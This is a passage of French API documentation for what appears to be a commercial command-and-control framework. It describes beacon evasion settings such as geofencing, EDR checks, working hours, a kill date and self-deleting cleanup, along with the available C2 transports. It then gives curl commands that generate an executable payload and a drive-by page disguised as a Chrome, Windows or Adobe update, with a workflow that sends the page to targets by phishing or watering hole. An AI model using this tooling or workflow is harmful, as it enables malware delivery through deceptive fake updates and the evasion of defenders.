kill_date chaîne Date après laquelle le beacon s'arrête automatiquement (format AAAA-MM-JJ)
working_hours chaîne Heures pendant lesquelles le beacon est active (HH:MM-HH:MM)
working_days chaîne Jours pendant lesquels le beacon est active (du lundi au vendredi, etc.)
timezone chaîne Fuseau horaire Windows pour les heures de travail (16 zones communes cartographiées)
geofence_ips tableau Plages IP/CIDR autorisées : le beacon se ferme si elle n'est pas à portée
geofence_hostnames tableau Noms d'hôte autorisés : le beacon se ferme si le nom d'hôte ne correspond pas
geofence_domains tableau Domaines autorisés : le beacon se ferme si elle n'est pas jointe au domaine répertorié
geofence_usernames tableau Noms d'utilisateur autorisés - le beacon se ferme si elle est exécutée en tant qu'utilisateur non répertorié
dns_canary chaîne Domaine DNS Canary – le beacon résout ce problème et se déclenche si elle est détectée (analyste Canary)
edr_check bool Exécuter la vérification de détection EDR au démarrage (10 signatures du fournisseur)

La géolocalisation est revérifiée tous les 10 cycles d'interrogation (et non à chaque cycle) pour minimiser le risque de détection. La suppression des heures de travail utilise un seul long sommeil obscurci au lieu de boucles rapides de contrôle du sommeil. La fonction CleanupArtifacts supprime les noms de tâches planifiées, les modèles de registre et supprime automatiquement le binaire du beacon via un fichier batch à la sortie.

Sélection des transports

"transport": "quic"

Sélectionnez le protocole de transport C2. Le transport est détecté automatiquement à partir du type d'listener dans l'interface utilisateur, mais peut être explicitement défini dans l'API.

Transports Valeur Description
HTTP http HTTP non chiffré (laboratoire uniquement)
HTTPS https HTTP crypté TLS (valeur par défaut recommandée)
RAPIDE quic HTTP/3 sur QUIC/UDP avec TLS 1.3
DNS dns C2 basé sur DNS (faible bande passante, haute furtivité)
SMB smb Tube nommé C2 (pivotement interne)

Voir QUIC Listener pour plus de détails sur le transport QUIC.


Livraison au volant

Créez une page de destination d'ingénierie sociale qui héberge un téléchargement de payload déguisé en mise à jour logicielle légitime.

POST /api/v1/payloads/{id}/driveby

Champ Type Obligatoire Description
template chaîne Oui Modèle de page : chrome, windows, adobe
auto_download bool Non Déclencher le téléchargement automatiquement au chargement de la page
# Generate a payload first
PAYLOAD_ID=$(curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
  }' | jq -r '.id')

# Create a drive-by page using the Chrome update template
curl -s -X POST "https://stentor.app/api/v1/payloads/$PAYLOAD_ID/driveby" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "template": "chrome",
    "auto_download": true
  }'

Réponse :

{
  "driveby_url": "http://10.0.0.50/update/chrome/<payload-id>?auto=true",
  "payload_url": "http://10.0.0.50/payload/<payload-id>",
  "template": "chrome",
  "payload_id": "<payload-id>"
}

Modèles disponibles :

Modèle Se fait passer pour Idéal pour
chrome Mise à jour de Google Chrome Ciblage large : Chrome est le navigateur le plus courant
windows Mise à jour du système Windows Environnements d'entreprise avec prise en charge des mises à jour
adobe Mise à jour du produit Adobe Environnements avec le logiciel Adobe installé

Flux de travail au volant

  1. Générez un payload avec le format souhaité
  2. Créez une page de passage avec un modèle approprié
  3. Envoyez le driveby_url aux cibles via un e-mail de phishing, un point d'eau ou une ingénierie sociale
  4. Surveillez les téléchargements de payloads via le champ download_count sur l'objet de payload